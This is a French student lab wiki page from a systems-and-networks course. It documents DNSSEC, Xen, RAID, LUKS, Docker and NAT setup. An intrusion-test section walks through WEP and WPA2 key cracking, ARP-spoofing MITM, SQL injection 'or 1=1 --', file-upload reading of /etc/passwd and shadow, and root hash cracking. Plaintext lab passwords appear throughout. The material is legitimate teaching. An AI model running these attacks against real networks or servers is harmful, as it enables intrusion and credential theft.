 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
==== Clés SSH ====&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;\{\{ packages \}\}&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={{ docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel }}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de votre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :&lt;br /&gt;
&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisé.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54957</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54957"/>
				<updated>2020-12-17T23:12:16Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Installation de docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
